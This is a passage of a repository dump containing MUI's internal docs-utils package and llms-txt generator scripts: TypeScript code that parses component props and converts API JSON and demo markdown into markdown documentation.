    "content": "{\n  \"name\": \"@mui/internal-docs-utils\",\n  \"version\": \"3.0.2\",\n  \"author\": \"MUI Team\",\n  \"description\": \"Utilities for MUI docs. This is an internal package not meant for general use.\",\n  \"main\": \"./build/index.js\",\n  \"exports\": {\n    \".\": \"./build/index.js\"\n  },\n  \"types\": \"./build/index.d.ts\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages-internal/docs-utils\"\n  },\n  \"scripts\": {\n    \"prebuild\": \"rimraf ./build\",\n    \"build\": \"tsc -p tsconfig.build.json\",\n    \"typescript\": \"tsc -p tsconfig.json\",\n    \"release:publish\": \"pnpm build && pnpm publish --tag latest\",\n    \"release:publish:dry-run\": \"pnpm build && pnpm publish --tag latest --registry=\\\"http://localhost:4873/\\\"\"\n  },\n  \"dependencies\": {\n    \"rimraf\": \"^6.1.3\",\n    \"typescript\": \"^5.9.3\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\"\n  }\n}\n"
  },
  {
    "path": "packages-internal/docs-utils/src/ComponentClassDefinition.ts",
    "content": "/**\n * @deprecated Import if from '@mui-internal/api-docs-builder'\n */\nexport interface ComponentClassDefinition {\n  key: string;\n  className: string;\n  description: string;\n  isGlobal: boolean;\n  isDeprecated?: boolean;\n  deprecationInfo?: string;\n}\n"
  },
  {
    "path": "packages-internal/docs-utils/src/createTypeScriptProject.ts",
    "content": "import path from 'path';\nimport fs from 'fs';\nimport * as ts from 'typescript';\n\nexport interface TypeScriptProject {\n  name: string;\n  rootPath: string;\n  exports: Record<string, ts.Symbol>;\n  program: ts.Program;\n  checker: ts.TypeChecker;\n}\n\nexport interface CreateTypeScriptProjectOptions {\n  name: string;\n  rootPath: string;\n  /**\n   * Config to use to build this package.\n   * The path must be relative to the root path.\n   * @default 'tsconfig.build.json`\n   */\n  tsConfigPath?: string;\n  /**\n   * File used as root of the package.\n   * This property is used to gather the exports of the project.\n   * The path must be relative to the root path.\n   */\n  entryPointPath?: string;\n  /**\n   * Files to include in the project.\n   * By default, it will use the files defined in the tsconfig.\n   */\n  files?: string[];\n}\n\nexport const createTypeScriptProject = (\n  options: CreateTypeScriptProjectOptions,\n): TypeScriptProject => {\n  const {\n    name,\n    rootPath,\n    tsConfigPath: inputTsConfigPath = 'tsconfig.build.json',\n    entryPointPath: inputEntryPointPath,\n    files,\n  } = options;\n\n  const tsConfigPath = path.join(rootPath, inputTsConfigPath);\n\n  const tsConfigFile = ts.readConfigFile(tsConfigPath, (filePath) =>\n    fs.readFileSync(filePath).toString(),\n  );\n\n  if (tsConfigFile.error) {\n    throw tsConfigFile.error;\n  }\n\n  // The build config does not parse the `.d.ts` files, but we sometimes need them to get the exports.\n  if (tsConfigFile.config.exclude) {\n    tsConfigFile.config.exclude = tsConfigFile.config.exclude.filter(\n      (pattern: string) => pattern !== 'src/**/*.d.ts',\n    );\n  }\n\n  const tsConfigFileContent = ts.parseJsonConfigFileContent(\n    tsConfigFile.config,\n    ts.sys,\n    path.dirname(tsConfigPath),\n  );\n\n  if (tsConfigFileContent.errors.length > 0) {\n    throw tsConfigFileContent.errors[0];\n  }\n\n  const program = ts.createProgram({\n    rootNames: files ?? tsConfigFileContent.fileNames,\n    options: tsConfigFileContent.options,\n  });\n\n  const checker = program.getTypeChecker();\n\n  let exports: TypeScriptProject['exports'];\n  if (inputEntryPointPath) {\n    const entryPointPath = path.join(rootPath, inputEntryPointPath);\n    const sourceFile = program.getSourceFile(entryPointPath);\n\n    exports = Object.fromEntries(\n      checker.getExportsOfModule(checker.getSymbolAtLocation(sourceFile!)!).map((symbol) => {\n        return [symbol.name, symbol];\n      }),\n    );\n  } else {\n    exports = {};\n  }\n\n  return {\n    name,\n    rootPath,\n    exports,\n    program,\n    checker,\n  };\n};\n\nexport type TypeScriptProjectBuilder = (\n  projectName: string,\n  options?: { files?: string[] },\n) => TypeScriptProject;\n\nexport const createTypeScriptProjectBuilder = (\n  projectsConfig: Record<string, Omit<CreateTypeScriptProjectOptions, 'name'>>,\n): TypeScriptProjectBuilder => {\n  const projects = new Map<string, TypeScriptProject>();\n\n  return (projectName: string, options: { files?: string[] } = {}) => {\n    const cachedProject = projects.get(projectName);\n    if (cachedProject != null) {\n      return cachedProject;\n    }\n\n    // eslint-disable-next-line no-console\n    console.log(`Building new TS project: ${projectName}`);\n\n    const project = createTypeScriptProject({\n      name: projectName,\n      ...projectsConfig[projectName],\n      ...options,\n    });\n\n    projects.set(projectName, project);\n    return project;\n  };\n};\n"
  },
  {
    "path": "packages-internal/docs-utils/src/getPropsFromComponentNode.ts",
    "content": "import * as ts from 'typescript';\nimport { TypeScriptProject } from './createTypeScriptProject';\n\nexport interface ParsedProp {\n  /**\n   * If `true`, some signatures do not contain this property.\n   * For example: `id` in `{ id: number, value: string } | { value: string }`\n   */\n  onlyUsedInSomeSignatures: boolean;\n  signatures: { symbol: ts.Symbol; componentType: ts.Type }[];\n}\n\nexport interface ParsedComponent {\n  name: string;\n  location: ts.Node;\n  type: ts.Type;\n  sourceFile: ts.SourceFile | undefined;\n  props: Record<string, ParsedProp>;\n}\n\nfunction isTypeJSXElementLike(type: ts.Type, project: TypeScriptProject): boolean {\n  const symbol = type.symbol ?? type.aliasSymbol;\n  if (symbol) {\n    const name = project.checker.getFullyQualifiedName(symbol);\n    return (\n      // Remove once global JSX namespace is no longer used by React\n      name === 'global.JSX.Element' ||\n      name === 'React.JSX.Element' ||\n      name === 'React.ReactElement' ||\n      name === 'React.ReactNode'\n    );\n  }\n\n  if (type.isUnion()) {\n    return type.types.every(\n      // eslint-disable-next-line no-bitwise\n      (subType) => subType.flags & ts.TypeFlags.Null || isTypeJSXElementLike(subType, project),\n    );\n  }\n\n  return false;\n}\n\nfunction isStyledFunction(node: ts.VariableDeclaration): boolean {\n  return (\n    !!node.initializer &&\n    ts.isCallExpression(node.initializer) &&\n    ts.isCallExpression(node.initializer.expression) &&\n    ts.isIdentifier(node.initializer.expression.expression) &&\n    node.initializer.expression.expression.escapedText === 'styled'\n  );\n}\n\nfunction getJSXLikeReturnValueFromFunction(type: ts.Type, project: TypeScriptProject) {\n  return type\n    .getCallSignatures()\n    .filter((signature) => isTypeJSXElementLike(signature.getReturnType(), project));\n}\n\nfunction parsePropsType({\n  name,\n  type,\n  shouldInclude = () => true,\n  location,\n  sourceFile,\n}: {\n  name: string;\n  type: ts.Type;\n  location: ts.Node;\n  shouldInclude?: (data: { name: string; depth: number }) => boolean;\n  sourceFile: ts.SourceFile | undefined;\n}): ParsedComponent {\n  const parsedProps: Record<string, ParsedProp> = {};\n\n  type\n    .getProperties()\n    .filter((property) => shouldInclude({ name: property.getName(), depth: 1 }))\n    .forEach((property) => {\n      parsedProps[property.getName()] = {\n        signatures: [\n          {\n            symbol: property,\n            componentType: type,\n          },\n        ],\n        onlyUsedInSomeSignatures: false,\n      };\n    });\n\n  return {\n    name,\n    location,\n    type,\n    sourceFile,\n    props: parsedProps,\n  };\n}\n\nfunction parseFunctionComponent({\n  node,\n  shouldInclude,\n  project,\n}: {\n  node: ts.VariableDeclaration | ts.FunctionDeclaration;\n  shouldInclude?: (data: { name: string; depth: number }) => boolean;\n  project: TypeScriptProject;\n}): ParsedComponent | null {\n  if (!node.name) {\n    return null;\n  }\n\n  const symbol = project.checker.getSymbolAtLocation(node.name);\n  if (!symbol) {\n    return null;\n  }\n  const componentName = node.name.getText();\n\n  // Discriminate render functions to components\n  if (componentName[0].toUpperCase() !== componentName[0]) {\n    return null;\n  }\n\n  const signatures = getJSXLikeReturnValueFromFunction(\n    project.checker.getTypeOfSymbolAtLocation(symbol, symbol.valueDeclaration!),\n    project,\n  );\n  if (signatures.length === 0) {\n    return null;\n  }\n\n  const parsedComponents = signatures.map((signature) =>\n    parsePropsType({\n      shouldInclude,\n      name: componentName,\n      type: project.checker.getTypeOfSymbolAtLocation(\n        signature.parameters[0],\n        signature.parameters[0].valueDeclaration!,\n      ),\n      location: signature.parameters[0].valueDeclaration!,\n      sourceFile: node.getSourceFile(),\n    }),\n  );\n\n  const squashedProps: Record<string, ParsedProp> = {};\n  parsedComponents.forEach((parsedComponent) => {\n    Object.keys(parsedComponent.props).forEach((propName) => {\n      if (!squashedProps[propName]) {\n        squashedProps[propName] = parsedComponent.props[propName];\n      } else {\n        squashedProps[propName].signatures = [\n          ...squashedProps[propName].signatures,\n          ...parsedComponent.props[propName].signatures,\n        ];\n      }\n    });\n  });\n\n  const squashedParsedComponent: ParsedComponent = {\n    ...parsedComponents[0],\n    props: squashedProps,\n  };\n\n  Object.keys(squashedParsedComponent.props).forEach((propName) => {\n    squashedParsedComponent.props[propName].onlyUsedInSomeSignatures =\n      squashedParsedComponent.props[propName].signatures.length < signatures.length;\n  });\n\n  return squashedParsedComponent;\n}\n\nexport interface GetPropsFromComponentDeclarationOptions {\n  project: TypeScriptProject;\n  node: ts.Node;\n  /**\n   * Called before a PropType is added to a component/object\n   * @returns true to include the prop, false to skip it\n   */\n  shouldInclude?: (data: { name: string; depth: number }) => boolean;\n  /**\n   * Control if const declarations should be checked\n   * @default false\n   * @example declare const Component: React.JSXElementConstructor<Props>;\n   */\n  checkDeclarations?: boolean;\n}\n\nfunction getPropsFromVariableDeclaration({\n  node,\n  project,\n  checkDeclarations,\n  shouldInclude,\n}: { node: ts.VariableDeclaration } & Pick<\n  GetPropsFromComponentDeclarationOptions,\n  'project' | 'checkDeclarations' | 'shouldInclude'\n>) {\n  const type = project.checker.getTypeAtLocation(node.name);\n  if (!node.initializer) {\n    if (\n      checkDeclarations &&\n      type.aliasSymbol &&\n      type.aliasTypeArguments &&\n      project.checker.getFullyQualifiedName(type.aliasSymbol) === 'React.JSXElementConstructor'\n    ) {\n      const propsType = type.aliasTypeArguments[0];\n      if (propsType === undefined) {\n        throw new TypeError(\n          'Unable to find symbol for `props`. This is a bug in typescript-to-proptypes.',\n        );\n      }\n      return parsePropsType({\n        name: node.name.getText(),\n        type: propsType,\n        location: node.name,\n        shouldInclude,\n        sourceFile: node.getSourceFile(),\n      });\n    }\n\n    if (checkDeclarations) {\n      return parseFunctionComponent({\n        node,\n        shouldInclude,\n        project,\n      });\n    }\n\n    return null;\n  }\n\n  if (\n    (ts.isArrowFunction(node.initializer) || ts.isFunctionExpression(node.initializer)) &&\n    node.initializer.parameters.length === 1\n  ) {\n    return parseFunctionComponent({\n      node,\n      shouldInclude,\n      project,\n    });\n  }\n  //  x = React.memo((props:type) { return <div/> })\n  //  x = React.forwardRef((props:type) { return <div/> })\n  if (ts.isCallExpression(node.initializer) && node.initializer.arguments.length > 0) {\n    const potentialComponent = node.initializer.arguments[0];\n    if (\n      (ts.isArrowFunction(potentialComponent) || ts.isFunctionExpression(potentialComponent)) &&\n      potentialComponent.parameters.length > 0 &&\n      getJSXLikeReturnValueFromFunction(\n        project.checker.getTypeAtLocation(potentialComponent),\n        project,\n      ).length > 0\n    ) {\n      const propsSymbol = project.checker.getSymbolAtLocation(\n        potentialComponent.parameters[0].name,\n      );\n      if (propsSymbol) {\n        return parsePropsType({\n          name: node.name.getText(),\n          type: project.checker.getTypeOfSymbolAtLocation(\n            propsSymbol,\n            propsSymbol.valueDeclaration!,\n          ),\n          location: propsSymbol.valueDeclaration!,\n          shouldInclude,\n          sourceFile: node.getSourceFile(),\n        });\n      }\n    }\n  }\n\n  // handle component factories: x = createComponent()\n  if (\n    checkDeclarations &&\n    node.initializer &&\n    !isStyledFunction(node) &&\n    getJSXLikeReturnValueFromFunction(type, project).length > 0\n  ) {\n    return parseFunctionComponent({\n      node,\n      shouldInclude,\n      project,\n    });\n  }\n\n  return null;\n}\n\nexport function getPropsFromComponentNode({\n  node,\n  shouldInclude,\n  project,\n  checkDeclarations,\n}: GetPropsFromComponentDeclarationOptions): ParsedComponent | null {\n  let parsedComponent: ParsedComponent | null = null;\n  // function x(props: type) { return <div/> }\n  if (\n    ts.isFunctionDeclaration(node) &&\n    node.name &&\n    node.parameters.length === 1 &&\n    getJSXLikeReturnValueFromFunction(project.checker.getTypeAtLocation(node.name), project)\n      .length > 0\n  ) {\n    parsedComponent = parseFunctionComponent({ node, shouldInclude, project });\n  } else if (ts.isVariableDeclaration(node)) {\n    parsedComponent = getPropsFromVariableDeclaration({\n      node,\n      project,\n      checkDeclarations,\n      shouldInclude,\n    });\n  } else if (ts.isVariableStatement(node)) {\n    // const x = ...\n    ts.forEachChild(node.declarationList, (variableNode) => {\n      if (parsedComponent != null) {\n        return;\n      }\n\n      // x = (props: type) => { return <div/> }\n      // x = function(props: type) { return <div/> }\n      // x = function y(props: type) { return <div/> }\n      // x = react.memo((props:type) { return <div/> })\n      if (ts.isVariableDeclaration(variableNode) && variableNode.name) {\n        parsedComponent = getPropsFromVariableDeclaration({\n          node: variableNode,\n          project,\n          checkDeclarations,\n          shouldInclude,\n        });\n      }\n\n      if (\n        ts.isClassDeclaration(variableNode) &&\n        variableNode.name &&\n        variableNode.heritageClauses &&\n        variableNode.heritageClauses.length === 1\n      ) {\n        const heritage = variableNode.heritageClauses[0];\n        if (heritage.types.length !== 1) {\n          return;\n        }\n\n        const arg = heritage.types[0];\n        if (!arg.typeArguments) {\n          return;\n        }\n\n        parsedComponent = parsePropsType({\n          shouldInclude,\n          name: variableNode.name.getText(),\n          location: arg.typeArguments[0],\n          type: project.checker.getTypeAtLocation(arg.typeArguments[0]),\n          sourceFile: node.getSourceFile(),\n        });\n      }\n    });\n  }\n\n  return parsedComponent;\n}\n"
  },
  {
    "path": "packages-internal/docs-utils/src/index.ts",
    "content": "import { EOL } from 'os';\n\nexport * from './createTypeScriptProject';\nexport { type ComponentClassDefinition } from './ComponentClassDefinition';\nexport * from './getPropsFromComponentNode';\n\nexport function getLineFeed(source: string): string {\n  const match = source.match(/\\r?\\n/);\n  return match === null ? EOL : match[0];\n}\n\nconst fixBabelIssuesRegExp = /(?<=(\\/>)|,)(\\r?\\n){2}/g;\n\nexport function fixBabelGeneratorIssues(source: string): string {\n  return source.replace(fixBabelIssuesRegExp, '\\n');\n}\n\nexport function fixLineEndings(source: string, target: string): string {\n  return target.replace(/\\r?\\n/g, getLineFeed(source));\n}\n\n/**\n * Converts styled or regular component d.ts file to unstyled d.ts\n * @param filename - the file of the styled or regular mui component\n */\nexport function getUnstyledFilename(filename: string, definitionFile: boolean = false): string {\n  if (filename.includes('mui-base')) {\n    return filename;\n  }\n  let unstyledFile = '';\n\n  const separator = filename.includes('/') ? '/' : '\\\\';\n\n  if (!filename.includes('mui-base')) {\n    unstyledFile = filename\n      .replace(/.d.ts$/, '')\n      .replace(/.tsx?$/, '')\n      .replace(/.js$/, '');\n    unstyledFile = unstyledFile.replace(/Styled/g, '');\n\n    if (separator === '/') {\n      unstyledFile = unstyledFile.replace(\n        /packages\\/mui-lab|packages\\/mui-material/g,\n        'packages/mui-base',\n      );\n    } else {\n      unstyledFile = unstyledFile.replace(\n        /packages\\\\mui-lab|packages\\\\mui-material/g,\n        'packages\\\\mui-base',\n      );\n    }\n  }\n\n  return definitionFile ? `${unstyledFile}.d.ts` : `${unstyledFile}.js`;\n}\n"
  },
  {
    "path": "packages-internal/docs-utils/tsconfig.build.json",
    "content": "{\n  \"extends\": \"./tsconfig.json\",\n  \"compilerOptions\": {\n    \"rootDir\": \"./src\",\n    \"outDir\": \"./build\",\n    \"declaration\": true,\n    \"noEmit\": false,\n    \"composite\": true,\n    \"tsBuildInfoFile\": \"./build/.tsbuildinfo\",\n    \"target\": \"ES2020\",\n    \"types\": [\"node\"]\n  },\n  \"exclude\": [\"./test/*.ts\"]\n}\n"
  },
  {
    "path": "packages-internal/docs-utils/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"noEmit\": true,\n    \"module\": \"nodenext\",\n    \"moduleResolution\": \"nodenext\",\n    \"types\": [\"node\"],\n    \"strict\": true,\n    \"esModuleInterop\": true,\n    \"isolatedModules\": true\n  },\n  \"include\": [\"./src/**/*.ts\"]\n}\n"
  },
  {
    "path": "packages-internal/scripts/.npmignore",
    "content": ".tsbuildinfo\n"
  },
  {
    "path": "packages-internal/scripts/CHANGELOG.md",
    "content": "# Changelog\n\n## 1.0.1\n\n- Unpinned version of the @mui/internal-docs-utils dependency.\n- Corrected the README file.\n\n## 1.0.0\n\nInitial release as an npm package.\nThe package contains the typescript-to-proptypes module.\n"
  },
  {
    "path": "packages-internal/scripts/README.md",
    "content": "# @mui/internal-scripts\n\nThis is that code infra scripts for the MUI organization repositories.\nIt is not meant for general use.\n\n## Scripts\n\n- `build` - transpiles TypeScript files into the build directory.\n- `test` - runs all the tests.\n- `typescript` - checks validity of types.\n"
  },
  {
    "path": "packages-internal/scripts/generate-llms-txt/src/index.ts",
    "content": "// Export all functions from both modules\nexport * from './processComponent';\nexport * from './processApi';\n"
  },
  {
    "path": "packages-internal/scripts/generate-llms-txt/src/processApi.ts",
    "content": "import * as fs from 'fs';\n\ninterface ApiProp {\n  type: {\n    name: string;\n    description?: string;\n  };\n  required?: boolean;\n  default?: string;\n  deprecated?: boolean;\n  deprecationInfo?: string;\n  signature?: {\n    type: string;\n    describedArgs?: string[];\n  };\n  additionalInfo?: {\n    cssApi?: boolean;\n    sx?: boolean;\n  };\n}\n\ninterface ApiSlot {\n  name: string;\n  description: string;\n  default: string;\n  class: string | null;\n}\n\ninterface ApiClass {\n  key: string;\n  className: string;\n  description: string;\n  isGlobal: boolean;\n}\n\ninterface ApiInheritance {\n  component: string;\n  pathname: string;\n}\n\ninterface ApiJson {\n  props: Record<string, ApiProp>;\n  name: string;\n  imports: string[];\n  slots?: ApiSlot[];\n  classes?: ApiClass[];\n  spread?: boolean;\n  themeDefaultProps?: boolean;\n  muiName?: string;\n  forwardsRefTo?: string | null;\n  filename?: string;\n  inheritance?: ApiInheritance;\n  demos?: string;\n  cssComponent?: boolean;\n  deprecated?: boolean;\n  deprecationInfo?: string;\n}\n\nexport interface ProcessApiOptions {\n  origin?: string;\n}\n\n/**\n * Convert prop type description from HTML format\n */\nfunction formatPropTypeDescription(html: string): string {\n  // Decode HTML entities\n  const result = html\n    .replace(/&lt;/g, '<')\n    .replace(/&gt;/g, '>')\n    .replace(/&quot;/g, '\"')\n    .replace(/&#124;/g, '|')\n    .replace(/&nbsp;/g, ' ')\n    .replace(/&amp;/g, '&')\n    // Replace <br> tags with space to maintain readability\n    .replace(/<br\\s*\\/?>/gi, ' ')\n    // Clean up excessive whitespace\n    .replace(/\\s+/g, ' ')\n    .trim();\n\n  return result;\n}\n\n/**\n * Convert HTML to markdown\n */\nfunction htmlToMarkdown(html: string, origin?: string): string {\n  // First pass: decode entities and handle inline elements\n  let markdown = html\n    // Decode HTML entities first\n    .replace(/&lt;/g, '<')\n    .replace(/&gt;/g, '>')\n    .replace(/&quot;/g, '\"')\n    .replace(/&#124;/g, '|')\n    .replace(/&nbsp;/g, ' ')\n    .replace(/&amp;/g, '&')\n    // Convert <code> to backticks\n    .replace(/<code>([^<]+)<\\/code>/gi, '`$1`')\n    // Convert <a> to markdown links\n    .replace(/<a\\s+href=\"([^\"]+)\">([^<]+)<\\/a>/gi, (match, href, text) => {\n      const url = origin && href.startsWith('/') ? new URL(href, origin).href : href;\n      return `[${text}](${url})`;\n    });\n\n  // Handle lists - process them as complete units to avoid extra line breaks\n  markdown = markdown.replace(/<ul[^>]*>(.*?)<\\/ul>/gis, (match, listContent: string) => {\n    // Process each list item\n    const items = listContent\n      .split(/<\\/li>/)\n      .map((item) => item.replace(/<li[^>]*>/, '').trim())\n      .filter((item) => item.length > 0)\n      .map((item) => `- ${item}`)\n      .join('\\n');\n\n    return `\\n${items}\\n`;\n  });\n\n  // Handle other block elements\n  markdown = markdown\n    // Convert <br> to newline\n    .replace(/<br\\s*\\/?>/gi, '\\n')\n    // Convert <p> to double newline\n    .replace(/<p[^>]*>/gi, '\\n\\n')\n    .replace(/<\\/p>/gi, '')\n    // Remove any remaining HTML tags\n    .replace(/<[^>]+>/g, '')\n    // Clean up excessive whitespace (but preserve intentional line breaks)\n    .replace(/[ \\t]+/g, ' ')\n    .replace(/ *\\n */g, '\\n')\n    .replace(/\\n{3,}/g, '\\n\\n')\n    .trim();\n\n  return markdown;\n}\n\n/**\n * Format prop type for markdown\n */\nfunction formatPropType(prop: ApiProp): string {\n  let type = prop.type.name;\n\n  if (prop.type.description) {\n    // Use specialized function for prop type descriptions\n    type = formatPropTypeDescription(prop.type.description);\n  }\n\n  if (prop.signature) {\n    type = prop.signature.type;\n  }\n\n  // Escape pipes in union types for better markdown readability\n  type = type.replace(/\\s*\\|\\s*/g, ' \\\\| ');\n\n  // Wrap all prop types in backticks to prevent markdown table issues with pipes\n  return `\\`${type}\\``;\n}\n\n/**\n * Generate props table\n */\nfunction generatePropsTable(props: Record<string, ApiProp>, origin?: string): string {\n  const propEntries = Object.entries(props);\n  if (propEntries.length === 0) {\n    return '';\n  }\n\n  let table = '## Props\\n\\n';\n  table += '| Name | Type | Default | Required | Description |\\n';\n  table += '|------|------|---------|----------|-------------|\\n';\n\n  for (const [propName, prop] of propEntries) {\n    const name = prop.deprecated ? `${propName} (deprecated)` : propName;\n    const type = formatPropType(prop);\n    const defaultValue = prop.default ? `\\`${prop.default}\\`` : '-';\n    const required = prop.required ? 'Yes' : 'No';\n\n    let description = '';\n    if (prop.deprecated && prop.deprecationInfo) {\n      description = `⚠️ ${htmlToMarkdown(prop.deprecationInfo, origin)}`;\n    } else if (prop.additionalInfo?.cssApi) {\n      description = 'Override or extend the styles applied to the component.';\n    } else if (prop.additionalInfo?.sx) {\n      description =\n        'The system prop that allows defining system overrides as well as additional CSS styles.';\n    }\n\n    table += `| ${name} | ${type} | ${defaultValue} | ${required} | ${description} |\\n`;\n  }\n\n  return table;\n}\n\n/**\n * Generate slots table\n */\nfunction generateSlotsTable(slots: ApiSlot[], origin?: string): string {\n  if (!slots || slots.length === 0) {\n    return '';\n  }\n\n  let table = '## Slots\\n\\n';\n  table += '| Name | Default | Class | Description |\\n';\n  table += '|------|---------|-------|-------------|\\n';\n\n  for (const slot of slots) {\n    const className = slot.class ? `\\`.${slot.class}\\`` : '-';\n    const description = htmlToMarkdown(slot.description, origin);\n    table += `| ${slot.name} | \\`${slot.default}\\` | ${className} | ${description} |\\n`;\n  }\n\n  return table;\n}\n\n/**\n * Generate classes table\n */\nfunction generateClassesTable(classes: ApiClass[], origin?: string): string {\n  if (!classes || classes.length === 0) {\n    return '';\n  }\n\n  let table = '## CSS\\n\\n';\n  table += '### Rule name\\n\\n';\n  table += '| Global class | Rule name | Description |\\n';\n  table += '|--------------|-----------|-------------|\\n';\n\n  for (const cls of classes) {\n    const globalClass = cls.isGlobal ? `\\`.${cls.className}\\`` : '-';\n    const ruleName = cls.isGlobal ? '-' : cls.key;\n    const description = htmlToMarkdown(cls.description, origin);\n    table += `| ${globalClass} | ${ruleName} | ${description} |\\n`;\n  }\n\n  return table;\n}\n\n/**\n * Process API JSON and convert to markdown\n */\nexport function processApiJson(apiJson: ApiJson | string, options: ProcessApiOptions = {}): string {\n  const api: ApiJson = typeof apiJson === 'string' ? JSON.parse(apiJson) : apiJson;\n  const { origin } = options;\n\n  let markdown = `# ${api.name} API\\n\\n`;\n\n  // Add deprecation warning if applicable\n  if (api.deprecated) {\n    const warningText = api.deprecationInfo\n      ? htmlToMarkdown(api.deprecationInfo, origin)\n      : 'This component is deprecated. Consider using an alternative component.';\n    markdown += `> ⚠️ **Warning**: ${warningText}\\n\\n`;\n  }\n\n  // Add demos section\n  if (api.demos) {\n    markdown += '## Demos\\n\\n';\n    markdown +=\n      'For examples and details on the usage of this React component, visit the component demo pages:\\n\\n';\n    markdown += `${htmlToMarkdown(api.demos, origin)}\\n\\n`;\n  }\n\n  // Add import section\n  markdown += '## Import\\n\\n';\n  markdown += '```jsx\\n';\n  markdown += api.imports.join('\\n// or\\n');\n  markdown += '\\n```\\n\\n';\n\n  // Add props section\n  const propsTable = generatePropsTable(api.props, origin);\n  if (propsTable) {\n    markdown += `${propsTable}\\n`;\n  }\n\n  // Add ref information\n  if (api.forwardsRefTo === null) {\n    markdown += '> **Note**: This component cannot hold a ref.\\n\\n';\n  } else {\n    markdown += `> **Note**: The \\`ref\\` is forwarded to the root element${api.forwardsRefTo ? ` (${api.forwardsRefTo})` : ''}.\\n\\n`;\n  }\n\n  // Add spread information\n  if (api.spread) {\n    const inheritanceUrl =\n      origin && api.inheritance?.pathname.startsWith('/')\n        ? `${origin}${api.inheritance.pathname}`\n        : api.inheritance?.pathname;\n    const spreadElement = api.inheritance\n      ? `[${api.inheritance.component}](${inheritanceUrl})`\n      : 'native element';\n    markdown += `> Any other props supplied will be provided to the root element (${spreadElement}).\\n\\n`;\n  }\n\n  // Add inheritance section\n  if (api.inheritance) {\n    markdown += '## Inheritance\\n\\n';\n    const inheritanceUrl =\n      origin && api.inheritance.pathname.startsWith('/')\n        ? `${origin}${api.inheritance.pathname}`\n        : api.inheritance.pathname;\n    markdown += `While not explicitly documented above, the props of the [${api.inheritance.component}](${inheritanceUrl}) component are also available on ${api.name}.`;\n    if (api.inheritance.component === 'Transition') {\n      markdown +=\n        ' A subset of components support [react-transition-group](https://reactcommunity.org/react-transition-group/transition/) out of the box.';\n    }\n    markdown += '\\n\\n';\n  }\n\n  // Add theme default props section\n  if (api.themeDefaultProps && api.muiName) {\n    markdown += '## Theme default props\\n\\n';\n    markdown += `You can use \\`${api.muiName}\\` to change the default props of this component with the theme.\\n\\n`;\n  }\n\n  // Add slots section\n  const slotsTable = generateSlotsTable(api.slots || [], origin);\n  if (slotsTable) {\n    markdown += `${slotsTable}\\n`;\n  }\n\n  // Add classes section\n  const classesTable = generateClassesTable(api.classes || [], origin);\n  if (classesTable) {\n    markdown += `${classesTable}\\n`;\n  }\n\n  // Add CSS component note\n  if (api.cssComponent) {\n    markdown += `> **Note**: As a CSS utility, the \\`${api.name}\\` component also supports all system properties. You can use them as props directly on the component.\\n\\n`;\n  }\n\n  // Add source code section\n  if (api.filename) {\n    markdown += '## Source code\\n\\n';\n    markdown += `If you did not find the information on this page, consider having a look at the implementation of the component for more detail.\\n\\n`;\n    markdown += `- [${api.filename}](https://github.com/mui/material-ui/tree/HEAD${api.filename})\\n\\n`;\n  }\n\n  return markdown.trim();\n}\n\n/**\n * Process API JSON file and return markdown\n */\nexport function processApiFile(filePath: string, options: ProcessApiOptions = {}): string {\n  const content = fs.readFileSync(filePath, 'utf-8');\n  return processApiJson(content, options);\n}\n"
  },
  {
    "path": "packages-internal/scripts/generate-llms-txt/src/processComponent.ts",
    "content": "import * as fs from 'fs';\nimport * as path from 'path';\n\ninterface DemoReplaceOptions {\n  basePath?: string;\n  includeTypeScript?: boolean;\n}\n\n/**\n * Removes {{\"component\": ...}} syntax from markdown content\n * @param markdownContent - The markdown content to clean\n * @returns The cleaned markdown content\n */\nexport function removeComponentSyntax(markdownContent: string): string {\n  // Regular expression to match {{\"component\": \"ComponentName\"}} pattern\n  const componentRegex = /\\{\\{\\s*\"component\":\\s*\"[^\"]+\"\\s*\\}\\}/g;\n  return markdownContent.replace(componentRegex, '');\n}\n\n/**\n * Converts <p class=\"description\"> HTML tags to plain text in markdown\n * @param markdownContent - The markdown content to clean\n * @returns The cleaned markdown content\n */\nexport function cleanDescriptionTags(markdownContent: string): string {\n  // Replace <p class=\"description\">...</p> with just the content\n  return markdownContent.replace(/<p class=\"description\">([^<]+)<\\/p>/g, '$1');\n}\n\n/**\n * Parses markdown content and replaces demo syntax with code snippets\n * @param markdownContent - The markdown content to parse\n * @param markdownPath - The path to the markdown file (used to resolve relative demo paths)\n * @param options - Options for parsing\n * @returns The processed markdown with demo code snippets\n */\nexport function replaceDemoWithSnippet(\n  markdownContent: string,\n  markdownPath: string,\n  options: DemoReplaceOptions = {},\n): string {\n  const { basePath = '' } = options;\n\n  // Regular expression to match {{\"demo\": \"filename.js\"}} pattern\n  const demoRegex = /\\{\\{\\s*\"demo\":\\s*\"([^\"]+)\"(?:,\\s*[^}]+)?\\s*\\}\\}/g;\n\n  return markdownContent.replace(demoRegex, (match, filename) => {\n    try {\n      // Extract the base filename without extension\n      const baseFilename = filename.replace(/\\.(js|tsx?)$/, '');\n\n      // Get the directory of the markdown file\n      const markdownDir = path.dirname(markdownPath);\n\n      let codeSnippet = '';\n\n      // Try to read TypeScript file before JavaScript file\n      const tsPath = basePath\n        ? path.join(basePath, `${baseFilename}.tsx`)\n        : path.join(markdownDir, `${baseFilename}.tsx`);\n\n      if (fs.existsSync(tsPath)) {\n        const tsContent = fs.readFileSync(tsPath, 'utf-8');\n        if (codeSnippet) {\n          codeSnippet += '\\n\\n';\n        }\n        codeSnippet += `\\`\\`\\`tsx\\n${tsContent}\\n\\`\\`\\``;\n      } else {\n        // Try to read JavaScript file\n        const jsPath = basePath\n          ? path.join(basePath, `${baseFilename}.js`)\n          : path.join(markdownDir, `${baseFilename}.js`);\n\n        if (fs.existsSync(jsPath)) {\n          const jsContent = fs.readFileSync(jsPath, 'utf-8');\n          codeSnippet += `\\`\\`\\`jsx\\n${jsContent}\\n\\`\\`\\``;\n        }\n      }\n\n      // If no files found, return original match\n      if (!codeSnippet) {\n        console.warn(`Demo file not found: ${filename}`);\n        return match;\n      }\n\n      return codeSnippet;\n    } catch (error) {\n      console.error(`Error processing demo ${filename}:`, error);\n      return match;\n    }\n  });\n}\n\n/**\n * Processes a markdown file and replaces demo syntax with code snippets\n * @param filePath - Path to the markdown file\n * @param options - Options for parsing\n * @returns The processed markdown content\n */\nexport function processMarkdownFile(filePath: string, options: DemoReplaceOptions = {}): string {\n  let content = fs.readFileSync(filePath, 'utf-8');\n  const dir = path.dirname(filePath);\n\n  // Set basePath relative to markdown file 